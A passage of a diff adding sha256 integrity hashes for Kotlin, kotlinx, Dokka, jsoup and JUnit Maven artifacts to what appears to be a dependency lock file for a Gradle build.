+  },
+  "org/jetbrains/dokka#dokka-gradle-plugin/1.9.20": {
+   "jar": "sha256-7dbOLDEoeI2k6lPe3sB/8LhI6p+mg8Ywv3k1Vw+7QhA=",
+   "module": "sha256-RMEY9JsqY95tLAdVYixHNKhVGviWx9ZAuEDSGL4M2CA=",
+   "pom": "sha256-cmyCm7TGy1h9pYYJVLLxJN8NQ9W/LxaQ7Rk9r2JSGGI="
+  },
+  "org/jetbrains/dokka#org.jetbrains.dokka.gradle.plugin/1.9.20": {
+   "pom": "sha256-op4lQ9uZ69W2IA4oPcz9op6cJyKr7hvpSantTPQqqgI="
+  },
+  "org/jetbrains/intellij/deps#trove4j/1.0.20200330": {
+   "jar": "sha256-xf1yW/+rUYRr88d9sTg8YKquv+G3/i8A0j/ht98KQ50=",
+   "pom": "sha256-h3IcuqZaPJfYsbqdIHhA8WTJ/jh1n8nqEP/iZWX40+k="
+  },
+  "org/jetbrains/kotlin#kotlin-bom/1.6.10": {
+   "pom": "sha256-SvmEpq+yPZYSk6wtelECehL+Rhk9N9856I0N/d/u6ro="
+  },
+  "org/jetbrains/kotlin#kotlin-build-common/2.0.21": {
+   "jar": "sha256-cLmHScMJc9O3YhCL37mROSB4swhzCKzTwa0zqg9GIV0=",
+   "pom": "sha256-qNP7huk2cgYkCh2+6LMBCteRP+oY+9Rtv2EB+Yvj4V0="
+  },
+  "org/jetbrains/kotlin#kotlin-build-statistics/2.0.21": {
+   "jar": "sha256-gBILdN8DYz1veeCIZBMe7jt6dIb2wF0vLtyGg3U8VNo=",
+   "pom": "sha256-/iTcYG/sg+yY3Qi8i7HPmeVAXejpF8URnVoMt++sVZ0="
+  },
+  "org/jetbrains/kotlin#kotlin-build-tools-api/2.0.21": {
+   "jar": "sha256-j8orSvbEzyRWXZp/ZMMXhIlRjQSeEGmB22cY7yLK4Y4=",
+   "pom": "sha256-zL2XaTA2Y0gWKVGY5JRFNPr7c9d4+M1NQ588h7CQ9JQ="
+  },
+  "org/jetbrains/kotlin#kotlin-build-tools-impl/2.0.21": {
+   "jar": "sha256-um6iTa7URxf1AwcqkcWbDafpyvAAK9DsG+dzKUwSfcs=",
+   "pom": "sha256-epPI22tqqFtPyvD0jKcBa5qEzSOWoGUreumt52eaTkE="
+  },
+  "org/jetbrains/kotlin#kotlin-compiler-embeddable/2.0.21": {
+   "jar": "sha256-n6jN0d4NzP/hVMmX1CPsa19TzW2Rd+OnepsN4D+xvIE=",
+   "pom": "sha256-vUZWpG7EGCUuW8Xhwg6yAp+yqODjzJTu3frH6HyM1bY="
+  },
+  "org/jetbrains/kotlin#kotlin-compiler-runner/2.0.21": {
+   "jar": "sha256-COYFvoEGD/YS0K65QFihm8SsmWJcNcRhxsCzAlYOkQQ=",
+   "pom": "sha256-+Wdq1JVBFLgc39CR6bW0J7xkkc+pRIRmjWU9TRkCPm0="
+  },
+  "org/jetbrains/kotlin#kotlin-daemon-client/2.0.21": {
+   "jar": "sha256-Nx6gjk8DaILMjgZP/PZEWZDfREKVuh7GiSjnzCtbwBU=",
+   "pom": "sha256-8oY4JGtQVSC/6TXxXz7POeS6VSb6RcjzKsfeejEjdAA="
+  },
+  "org/jetbrains/kotlin#kotlin-daemon-embeddable/2.0.21": {
+   "jar": "sha256-saCnPFAi+N0FpjjGt2sr1zYYGKHzhg/yZEEzsd0r2wM=",
+   "pom": "sha256-jbZ7QN1gJaLtBpKU8sm8+2uW2zFZz+927deEHCZq+/A="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/2.0.21": {
+   "jar": "sha256-W0cHoy5GfvvhIsMY/2q9yhei/H2Mg/ZgN8mhILbcvC8=",
+   "pom": "sha256-P+CLlUN7C074sWt39hqImzn1xGt+lx1N+63mbUQOodg="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.0.21": {
+   "jar": "sha256-Uur1LOMDtSneZ6vDusE+TxNZY1dUPfqDHE1y0tYxDlA=",
+   "module": "sha256-z29dNExVVVS/rGQFHq0AhcvUM4Z2uqP8h7UD6eSrvjQ=",
+   "pom": "sha256-gV5yqZ4ZFD1mLSTkYlKlnOdWMC18W9/FlIF9fMexI3g="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.0.21/gradle85": {
+   "jar": "sha256-Uur1LOMDtSneZ6vDusE+TxNZY1dUPfqDHE1y0tYxDlA="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea-proto/2.0.21": {
+   "jar": "sha256-UzVXQrV7qOFvvfCiBDn4s0UnYHHtsUTns9puYL42MYg=",
+   "pom": "sha256-OMyaLLf55K/UOcMQdvgzFThIsfftITMgCDXRtCDfbqs="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea/2.0.21": {
+   "jar": "sha256-wfTqDBkmfx7tR0tUGwdxXEkWes+/AnqKL9B8u8gbjnI=",
+   "module": "sha256-YqcNAg27B4BkexFVGIBHE+Z2BkBa6XoQ2P2jgpOI0Uk=",
+   "pom": "sha256-1GjmNf3dsw9EQEuFixCyfcVm6Z1bVIusEMIjOp7OF74="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-model/2.0.21": {
+   "jar": "sha256-lR13mJs1cAljH/HvsSsBYczzKcUpxUalKfih0x+bwDw=",
+   "module": "sha256-6qn9n4b71E/2BwoZfce90ZgPDUHo20myUoA9A6pMVaw=",
+   "pom": "sha256-5RVeYOyr2v1kUmVKaYALyyp37n0fxucH+tOo5p8HTCw="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.0.21": {
+   "module": "sha256-D5iXoGwHo+h9ZHExzDSQofctGuVMEH8T9yJp1TRLCHo=",
+   "pom": "sha256-RenM7OM+TY36mUHMkS81RYIBqdPwQ3IMMket3lf0f/Y="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.0.21/gradle85": {
+   "jar": "sha256-nfXH/xOx/GislFDKY8UxEYkdb2R73ewPQ5iz5yJb9tk="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/2.0.21": {
+   "module": "sha256-8JRUh/5RlZ/fi2oUQXB6Ke1fGsMaIxx/3r4sPd0i/fE=",
+   "pom": "sha256-Z1AT1Mvu4JyIkgriuiRvmfKKeJuHT2NASeAS+j7r9Mg="
+  },
+  "org/jetbrains/kotlin#kotlin-klib-commonizer-api/2.0.21": {
+   "jar": "sha256-R1eJEWW2mPvazo9NpvK8DpiOrvnvNnE1SIZajycGmv0=",
+   "pom": "sha256-Y/6HvSI1sSlAnHIqCbYsIKe3eueQGeIgMSSK9zawPFQ="
+  },
+  "org/jetbrains/kotlin#kotlin-klib-commonizer-embeddable/2.0.21": {
+   "jar": "sha256-2Gv0M4pthBzM37v/LaBb0DpJw9uMP5erhed+AhrQhFs=",
+   "pom": "sha256-esgfO7B8TWqo+pj/WjmaR6vRzhx4bU8/rZbvKBIL34o="
+  },
+  "org/jetbrains/kotlin#kotlin-native-prebuilt/2.0.21": {
+   "pom": "sha256-Gv4wJE4ZR67Wy+01BBrTbFnw6nZK/bxv/56agY7loEE="
+  },
+  "org/jetbrains/kotlin#kotlin-native-utils/2.0.21": {
+   "jar": "sha256-ResIo5Kfl8SKkpEsliV3nRVAvG8/IS+56UYg0DJrzAA=",
+   "pom": "sha256-ZpB3PnZJ0dD61V0GCaTiHh68mF3Q+iYenG/9OJhnBh0="
+  },
+  "org/jetbrains/kotlin#kotlin-reflect/1.6.10": {
+   "jar": "sha256-MnesECrheq0QpVq+x1/1aWyNEJeQOWQ0tJbnUIeFQgM=",
+   "pom": "sha256-V5BVJCdKAK4CiqzMJyg/a8WSWpNKBGwcxdBsjuTW1ak="
+  },
+  "org/jetbrains/kotlin#kotlin-reflect/1.9.22": {
+   "jar": "sha256-d/MRyhOEgR1Rn9o4n8sSaL2qBY1gUEbg7edsA7DfPpc=",
+   "pom": "sha256-xxLjWN97kxi2j1RjlxsIhnODf8DKQoXRw4LIEC7da18="
+  },
+  "org/jetbrains/kotlin#kotlin-reflect/2.0.0": {
+   "jar": "sha256-ERvZBpIZN/dtoXdgZBEW0EtXp6Evz5gO/nxnZ/RRefA=",
+   "pom": "sha256-ikQrns4+Vt+fEm8xxiodKjEkir7CiLbYMLrncjcYSLA="
+  },
+  "org/jetbrains/kotlin#kotlin-script-runtime/2.0.21": {
+   "jar": "sha256-nBEfjQit5FVWYnLVYZIa3CsstrekzO442YKcXjocpqM=",
+   "pom": "sha256-lbLpKa+hBxvZUv0Tey5+gdBP4bu4G3V+vtBrIW5aRSQ="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-common/2.0.21": {
+   "jar": "sha256-+H3rKxTQaPmcuhghfYCvhUgcApxzGthwRFjprdnKIPg=",
+   "pom": "sha256-hP6ezqjlV+/6iFbJAhMlrWPCHZ0TEh6q6xGZ9qZYZXU="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-embeddable/2.0.21": {
+   "jar": "sha256-JBPCMP3YzUfrvronPk35TPO0TLPsldLLNUcsk3aMnxw=",
+   "pom": "sha256-1Ch6fUD4+Birv3zJhH5/OSeC0Ufb7WqEQORzvE9r8ug="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-impl-embeddable/2.0.21": {
+   "jar": "sha256-btD6W+slRmiDmJtWQfNoCUeSYLcBRTVQL9OHzmx7qDM=",
+   "pom": "sha256-0ysb8kupKaL6MqbjRDIPp7nnvgbON/z3bvOm3ITiNrE="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-jvm/2.0.21": {
+   "jar": "sha256-iEJ/D3pMR4RfoiIdKfbg4NfL5zw+34vKMLTYs6M2p3w=",
+   "pom": "sha256-opCFi++0KZc09RtT7ZqUFaKU55um/CE8BMQnzch5nA0="
+  },
+  "org/jetbrains/kotlin#kotlin-serialization-compiler-plugin-embeddable/2.0.21": {
+   "jar": "sha256-3v0m28WB8x1QKe5EmZ4QRpLrAw6rrX2TZMI9jwuP2Fk=",
+   "pom": "sha256-0opI/fcJ0wz4lqL3XMbx7aA3L2r+MYdCDPigSrJCb/w="
+  },
+  "org/jetbrains/kotlin#kotlin-serialization/2.0.21": {
+   "module": "sha256-HXUsci8E/La3an9mSgXqFQAuEO1c/30pBJtd5ZfxID8=",
+   "pom": "sha256-Ju6iFEnSY66HScTjq7enkNl1ubpRP2jVSMzFCOFfUkI="
+  },
+  "org/jetbrains/kotlin#kotlin-serialization/2.0.21/gradle85": {
+   "jar": "sha256-wd9+ggYbMC3WH0hoOT54Uy/qeKprY7eBmybK9sJHRME="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-common/1.8.20": {
+   "pom": "sha256-YFWRuJs3ISfmspxpMl+i9qjEb0aMRdCUEOeOtZ/IChc="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-common/1.9.22": {
+   "module": "sha256-+Tyemr+NUtjo/Y6FGqgC7OxVEyFhxK7ufTzZJL95QkY=",
+   "pom": "sha256-10k21oh1ZK63EOhCmLVCB/U+m88jpSrSv6IsIIZ3V2c="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.6.10": {
+   "jar": "sha256-Ku3NxrabM731zCNbzqiOfPZgEUa7a83/2zErus174mE=",
+   "pom": "sha256-YSIR/5MPW1LHJP92NBfVqigd1+AyXDs1yNGBIKao300="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.8.20": {
+   "jar": "sha256-rx7EDDuVGv3MDCoBc8e4F2PFKBwtW6+/CoVEokxdzAw=",
+   "pom": "sha256-NiLRBleM3cwKnsIPjOgV9/Sf9UL2QCKNIUH8r4BhawY="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.8.21": {
+   "jar": "sha256-M9FI2w4R3r0NkGd9KCQrztkH+cd3MAAP1ZeGcIkDnYY=",
+   "pom": "sha256-m7EH1dXjkwvFl38AekPNILfSTZGxweUo6m7g8kjxTTY="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.9.0": {
+   "jar": "sha256-t5eaeqyUBV8Nnx/TtHzl/+HLYDKoQrqfvnGG8IUokXg=",
+   "pom": "sha256-wRB08MiYqYuGPGFEcdQ409+Soewzgqbjf5NdfXGVS1o="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.6.10": {
+   "jar": "sha256-FFbYLQOeow2EhbAykB9Su/B+fNvoux+HCK0yqFdMQc4=",
+   "pom": "sha256-Q6ZJ+nN7+zX6SvTm3jPi8IpdGRBNdYLqQNvNK2N5Csw="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.8.0": {
+   "pom": "sha256-K7bHVRuXx7oCn5hmWC56oZ1jq/1M1T2j/AxGLzq1/CY="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.8.20": {
+   "jar": "sha256-45i2eXdiJxi/GP+ZtznH2doGDzP7RYouJSAyIcFq8BA=",
+   "pom": "sha256-OkYiFKM26ZVod2lTGx43sMgdjhDJlJzV6nrh14A6AjI="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.8.21": {
+   "jar": "sha256-PbdSowB08G7mxXmEqm8n2kT00rvH9UQmUfaYjxyyt9c=",
+   "pom": "sha256-ODnXKNfDCaXDaLAnC0S08ceHj/XKXTKpogT6o0kUWdg="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.9.0": {
+   "jar": "sha256-pZ+iT98f+1lLrs2/D9EAEPl3zqECNtSH/jRkl3pzd/o=",
+   "pom": "sha256-ZNWY3YjiUEZnMeIDBKtvBsu7urfuMitHA7a1n4gcT5I="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib/1.9.22": {
+   "jar": "sha256-ar4UbCeGQTi4dMzM/l9TTj65I8maG3tdRUlO5WlPPgo=",
+   "module": "sha256-9IIxS1B5wUVfb7DUJXp0XRAcYSTOlhUiuob53JCQHkc=",
+   "pom": "sha256-zOLxUoXsgHijd0a1cwigVAQt1cwlQgxD9zt4V8JGjwM="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib/2.0.21": {
+   "jar": "sha256-8xzFPxBafkjAk2g7vVQ3Vh0SM5IFE3dLRwgFZBvtvAk=",
+   "module": "sha256-gf1tGBASSH7jJG7/TiustktYxG5bWqcpcaTd8b0VQe0=",
+   "pom": "sha256-/LraTNLp85ZYKTVw72E3UjMdtp/R2tHKuqYFSEA+F9o="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib/2.1.10": {
+   "jar": "sha256-XyrByo3Is3o/QxTnFtNpaevwInp1GB0yaZ0Kj2RbHCE=",
+   "module": "sha256-jSwdcXxzVG1WOC0TbIZQtZpxWZQBciY4GJNKzkTLBI0=",
+   "pom": "sha256-SSISHT8LxgzkB/Ny3kLQKgt+lOddDD0VCLaDVyHySe8="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib/2.1.10/all": {
+   "jar": "sha256-p0EvZtcbzSchw5gweXL7tflAn5RWQ+7gXRCAsomjOcs="
+  },
+  "org/jetbrains/kotlin#kotlin-test-junit/2.0.21": {
+   "jar": "sha256-SeK0bRTEdBfrLxnuwK0hyG2QuB+9hKXNsRhIPTgNh/k=",
+   "module": "sha256-6CqcSRUVHvJInEyMe6Ogmyp6U2dxwk5OFpBpxjxT6fg=",
+   "pom": "sha256-0utrMeICxf4jn2nS/O27D1ROAt3ckSEBFCGxBGbVD0g="
+  },
+  "org/jetbrains/kotlin#kotlin-test/2.0.21": {
+   "jar": "sha256-qJeyjGo+qOyPAO12aUGgwN+ZPX9lkIh1h5ho4IzriYU=",
+   "module": "sha256-1GaHPese5eDSFPdNDVC5BCGQZV+eUBRW/Qk72SCkL40=",
+   "pom": "sha256-6jadb0j7+WeUIXBPuf9tTM4mA3iZUKl8pd5bLsH5c4o="
+  },
+  "org/jetbrains/kotlin#kotlin-test/2.0.21/all": {
+   "jar": "sha256-2iho+pWj+4814rTjMcouKTIUhnAZZex2a66CD5jgJ3w="
+  },
+  "org/jetbrains/kotlin#kotlin-tooling-core/2.0.21": {
+   "jar": "sha256-W28UhUj+ngdN9R9CJTREM78DdaxbOf/NPXvX1/YC1ik=",
+   "pom": "sha256-MiVe/o/PESl703OozHf4sYXXOYTpGxieeRZlKb36XVo="
+  },
+  "org/jetbrains/kotlin#kotlin-util-io/2.0.21": {
+   "jar": "sha256-Dv7kwg8+f5ErMceWxOR/nRTqaIA+x+1OXU8kJY46ph4=",
+   "pom": "sha256-4gD5F2fbCFJsjZSt3OB7kPNCVBSwTs/XzPjkHJ8QmKA="
+  },
+  "org/jetbrains/kotlin#kotlin-util-klib/2.0.21": {
+   "jar": "sha256-oTtziWVUtI5L702KRjDqfpQBSaxMrcysBpFGORRlSeo=",
+   "pom": "sha256-724nWZiUO5b1imSWQIUyDxAxdNYJ7GakqUnmASPHmPU="
+  },
+  "org/jetbrains/kotlin/kotlin-native-prebuilt/2.0.21/kotlin-native-prebuilt-2.0.21-linux-x86_64": {
+   "tar.gz": "sha256-8SXMZFcnRldupsPfHmVklSr9dpJcJNdc/4X4zdRG/ls="
+  },
+  "org/jetbrains/kotlin/multiplatform#org.jetbrains.kotlin.multiplatform.gradle.plugin/2.0.21": {
+   "pom": "sha256-0+fOgZ7Wkw4mf8bW9uQ/NYX66BNTJTdaUy3CSeuM5Kk="
+  },
+  "org/jetbrains/kotlin/plugin/serialization#org.jetbrains.kotlin.plugin.serialization.gradle.plugin/2.0.21": {
+   "pom": "sha256-qWzO0nL6L6tLdB40cgtedO9RS0QRFSMD7fnBJ5V6R6o="
+  },
+  "org/jetbrains/kotlinx#atomicfu-jvm/0.26.0": {
+   "jar": "sha256-k3wib9L2KtQ4TtJxDq43dQ3pUD9yYSuMz6222P9j+/I=",
+   "module": "sha256-bRqUsYpvEt3wYwuBdZb2A04SAsu2PfYEsd+UbiK96QI=",
+   "pom": "sha256-PHJEodqOE3nm2XY4fXNcRDKf34Vc2XxxxWsQSwyYzeA="
+  },
+  "org/jetbrains/kotlinx#atomicfu/0.26.0": {
+   "jar": "sha256-Z66kdTLib9Qa85Sc+RBnIrvfe0Hqc4zywuOQxAOU1AE=",
+   "module": "sha256-jLgz/KaQ0LScNYGQDr5EuWn8JBl6a3BUqwc0QtdLYyQ=",
+   "pom": "sha256-h0S1lR/BjwOAqew8dmz/TAyDXiB2uI8n4hns+Owp1Es="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.10.1": {
+   "pom": "sha256-nL0EumPnOZhWdFcT4xLS8hYaHUTtpQbe1HyNVtr4Rh8="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.6.0": {
+   "pom": "sha256-2iMnJQ6r8q3rW6TQFaQ380R1EC0Vuj10SNpx38/Rlt4="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.6.4": {
+   "pom": "sha256-qyYUhV+6ZqqKQlFNvj1aiEMV/+HtY/WTLnEKgAYkXOE="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.7.3": {
+   "pom": "sha256-Tl0ZAOY3nvP1lw0EqPMFKa3IL4WejMEHwhzoFJ72ZsQ="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.9.0": {
+   "pom": "sha256-vqVRHpAB8sWTq1CA3xMbIZq14ghcxZec5YPqzUlG/Xg="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.10.1": {
+   "jar": "sha256-BpxZiGMyMOB07A05Mh7DzapFR8SekLqTbGPY/JHIwA0=",
+   "module": "sha256-GN1lRl7IDQ5uXXGBi/EZLvSBfPXSASgrW5sbcTrHlpo=",
+   "pom": "sha256-f5AURlw6uheoNXqJZcqcnKjJ4aBEfHrqEXxkB4CKUtY="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.6.4": {
+   "jar": "sha256-wkyLsnuzIMSpOHFQGn5eDGFgdjiQexl672dVE9TIIL4=",
+   "module": "sha256-DZTIpBSD58Jwfr1pPhsTV6hBUpmM6FVQ67xUykMho6c=",
+   "pom": "sha256-Cdlg+FkikDwuUuEmsX6fpQILQlxGnsYZRLPAGDVUciQ="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.7.3": {
+   "jar": "sha256-GrOsw48+c1XE+dHsYhB6RvpzyJnzBw0FXl1Dc9/mfhI=",
+   "module": "sha256-NNbumbdqwGK1FVW0pwvhg0n+VWbaeaGQYU8XHIC2U44=",
+   "pom": "sha256-dThYdT3su7I5c0PiuHHwYvaXgS6UIuQcnuRqZrk+7jA="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.9.0": {
+   "module": "sha256-syGomeQNPONFcHqiz9qZg60NzGn+p0qbi/kGoWwc+Kk=",
+   "pom": "sha256-GcSImUGzqgmL1XzGTwL5razGVNVxoSqVbeS1uxSMZJk="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.10.1": {
+   "jar": "sha256-+uR3HdmHz62rrhKd1/Ylr0DZ5PFKu3/8cuQtzLl7cBA=",
+   "module": "sha256-y/1tFz4KXCmGr5U/ixzPKYAqrQnqympOkRQQj4rKyLE=",
+   "pom": "sha256-Ip7SIxgcPK8nt6wwHIFp3KLYYxkbcQ5hNVGlh5XANlU="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.7.3": {
+   "module": "sha256-f7FiOWWU7CjhtqRBG0V5SadnD14SAZF2d04f1rlHG78=",
+   "pom": "sha256-7W6wOYcXA14p8cHWCk4927iYWPPbnge1etdZ03Ta6Ck="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.9.0": {
+   "module": "sha256-rVNANKlTtOEsvuuHTGat+LHKFN8V/g0uZUeqNOht/so=",
+   "pom": "sha256-dw8nk9BeKwJ7nHmZOOwdLU7xQc5YGceAwyw5lcrbCkc="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-slf4j/1.10.1": {
+   "jar": "sha256-5fpnTj2mpw/hGI/A1l+GcFN5rto0xZy9ML0VwORlts8=",
+   "module": "sha256-Z53VZCkanbzH7lbmZCzzqdB7BXGWj9lN5BachzJ/i8U=",
+   "pom": "sha256-UqJfb2ZMxFkJQmTVEDOeVYOqyQJ/DqqqPXA1XHVQkkY="
+  },
+  "org/jetbrains/kotlinx#kotlinx-datetime-jvm/0.6.1": {
+   "jar": "sha256-vJSw/LRGR0LwLPVKPo2557FBoaBSyo3a9mKmCv+iFTA=",
+   "module": "sha256-TD6ZN/gsqoqCxB/jzmCve4CsgIIV2JEpoAiRqh17G08=",
+   "pom": "sha256-TS2c2jKNud7cpwSpIUNU9KrEEf7+gwRl6CZLGnCCPZg="
+  },
+  "org/jetbrains/kotlinx#kotlinx-datetime/0.6.1": {
+   "jar": "sha256-dk+WAWgzrIzf5m/xyoIJCPVeHy5ucKMCo33l1E5l9/0=",
+   "module": "sha256-ZoDoXgAKb/ckfN38YkZyPzlXCWzT7qCp9/Qqumlzaug=",
+   "pom": "sha256-Wx4Ylt2DYUnbnUuSIRXKxiIrDKKIm1VDTbi+hOI0wUs="
+  },
+  "org/jetbrains/kotlinx#kotlinx-html-jvm/0.9.1": {
+   "jar": "sha256-to85zZrXtG3goOd+f1kI1OdmHz0MhdLZFxVD/NWxVvs=",
+   "module": "sha256-yic/19Bs3g8yr4MjBwCr2bD1c7mErohHzpDj3F0NE1M=",
+   "pom": "sha256-CwfOpOggKjkGxUbxfi5akjR2rKhZ01TnnocfKehL0pc="
+  },
+  "org/jetbrains/kotlinx#kotlinx-io-bytestring-jvm/0.6.0": {
+   "jar": "sha256-uqd6eD1wpmr4jWiYodSXHkqoTmKyZBgFc3m98J+1uto=",
+   "module": "sha256-Tw2oHhXO+zujubirjmHoaoLtZd2N3S46cF2Euybr/Oo=",
+   "pom": "sha256-dQpt9xYR1MMAN+mCfSOVSSkKRuDBQBBoi4FM2ZZyG8c="
+  },
+  "org/jetbrains/kotlinx#kotlinx-io-bytestring/0.6.0": {
+   "jar": "sha256-jMGXmjmiO2RLGRCjv22efNg4aGSKDb3auRs44DxfTBk=",
+   "module": "sha256-aO+bxmrpVPRzxZ9R679Ywdewb9b/9zNd0/s9JPipOQA=",
+   "pom": "sha256-I1NofPyzbJCaW8T08LUj0wv2WuXI34CsxW6enFJb528="
+  },
+  "org/jetbrains/kotlinx#kotlinx-io-core-jvm/0.6.0": {
+   "jar": "sha256-QlI8gII9Me9Z+uQsklLvHTsRicqdPMOt/UAqKdBj5v8=",
+   "module": "sha256-tZuXjCxEJJpnRkGmlONaKs7LqBLah9NlpRZzQqjKU0c=",
+   "pom": "sha256-3DNkYsj1BEkGHNRdXLHI9oC+VEGqgQ6UQR/4GQmdT2s="
+  },
+  "org/jetbrains/kotlinx#kotlinx-io-core/0.6.0": {
+   "jar": "sha256-otY5Q+xpNpUevkpM1Mld5Q1wNPqTrJUHeFk80AJAfTo=",
+   "module": "sha256-FIX7aljyQWnRr3PEFDAiUKx4u0axpD4Csa4hILKhJPA=",
+   "pom": "sha256-QIZ+EY9KW7uz291WZ3DY8Yu07w02MtyE+WyZ+2vD6oE="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-bom/1.7.3": {
+   "pom": "sha256-QiakkcW1nOkJ9ztlqpiUQZHI3Kw4JWN8a+EGnmtYmkY="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-bom/1.8.0": {
+   "pom": "sha256-xD5IdSnM/RIJ66hlOrjolZggNGSq+/5fBEje2ZKHFQk="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core-jvm/1.7.3": {
+   "module": "sha256-c7tMAnk/h8Ke9kvqS6AlgHb01Mlj/NpjPRJI7yS0tO8=",
+   "pom": "sha256-c09fdJII3QvvPZjKpZTPkiKv3w/uW2hDNHqP5k4kBCc="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core-jvm/1.8.0": {
+   "jar": "sha256-08lOnYKbum4MTNOuR4pAhG3UnVR11nB4d76FOXav5BY=",
+   "module": "sha256-NzH80jhWGpCpdSs0hfHWNeAbRF5Kd4F9ewd/S50vQi0=",
+   "pom": "sha256-QVKRtvWbeTemcau136BLJyl811jLUQLNzHWUFJj5wDw="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core/1.7.3": {
+   "module": "sha256-OdCabgLfKzJVhECmTGKPnGBfroxPYJAyF5gzTIIXfmQ=",
+   "pom": "sha256-MdERd2ua93fKFnED8tYfvuqjLa5t1mNZBrdtgni6VzA="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core/1.8.0": {
+   "jar": "sha256-hThiUkHBX0SBQAQyDq6l32fpRK3FKwDduDGY1mTpIlE=",
+   "module": "sha256-mE2aqabpvMONfoNuqNAAsThyCH/GZY0NjWIldjPzlfE=",
+   "pom": "sha256-nVbnQWLOQn4MSetsuXUSR0Mq3PwukTw4KWY+27qr7hM="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.7.3": {
+   "module": "sha256-D/cOITHypldYIvdhHAXig8SuCBczA/QQSUy0Eom9PvY=",
+   "pom": "sha256-0zRdKAgXvgfpwnrNYHPUleF73/VxxHADTglmQgeGp90="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.8.0": {
+   "jar": "sha256-e3xEWIDO+U3EZPRzPaGzO5S+54gFBB6giuBuhQfkYg4=",
+   "module": "sha256-l+NZl/6prZY63lv0wDko/lOXS4JlIdSwP7+zyrAgiqo=",
+   "pom": "sha256-4CSBj4YiByqIM8DTmVd3Uet3ZJymO9DA/AYATWaRd6Q="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json/1.7.3": {
+   "jar": "sha256-qpP6PJY5LLE5WTE0Qw3C1RNn9Z1VPl43R+vYAHsmPxs=",
+   "module": "sha256-HPAiijWIcx1rrzvLvbCKMiUB9wQg1Q4pKrUB5V2Mz08=",
+   "pom": "sha256-BaiftqSvoKHUB51YgsrTSaF/4IqYv5a30A0GplUh3H0="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json/1.8.0": {
+   "module": "sha256-lK/eU8GRw+Hge5+AiqF3f4YryKlbxQtGYozQkhnVaFg=",
+   "pom": "sha256-WAgq+Zc0Ah1bjbKcQ1sR1FyhGxwP14bHhFIsnSxxeVg="
+  },
+  "org/jsoup#jsoup/1.16.1": {
+   "jar": "sha256-HxFXJlQN33GVjBS8UX6/xJz0gekc2Rew+s6E8BJy6QE=",
+   "pom": "sha256-bMUH9jBTbyBb3iwbOMPFkHUR3i17GkRL6dY41GFPJDw="
+  },
+  "org/junit#junit-bom/5.10.0": {
+   "module": "sha256-6z7mEnYIAQaUqJgFbnQH0RcpYAOrpfXbgB30MLmIf88=",
+   "pom": "sha256-4AbdiJT5/Ht1/DK7Ev5e2L5lZn1bRU+Z4uC4xbuNMLM="
+  },
+  "org/junit#junit-bom/5.10.1": {
+   "module": "sha256-IbCvz//i7LN3D16wCuehn+rulOdx+jkYFzhQ2ueAZ7c=",
+   "pom": "sha256-IcSwKG9LIAaVd/9LIJeKhcEArIpGtvHIZy+6qzN7w/I="
+  },
+  "org/junit#junit-bom/5.10.2": {
+   "module": "sha256-3iOxFLPkEZqP5usXvtWjhSgWaYus5nBxV51tkn67CAo=",
+   "pom": "sha256-Fp3ZBKSw9lIM/+ZYzGIpK/6fPBSpifqSEgckzeQ6mWg="
+  },
+  "org/junit#junit-bom/5.10.3": {
+   "module": "sha256-qnlAydaDEuOdiaZShaqa9F8U2PQ02FDujZPbalbRZ7s=",
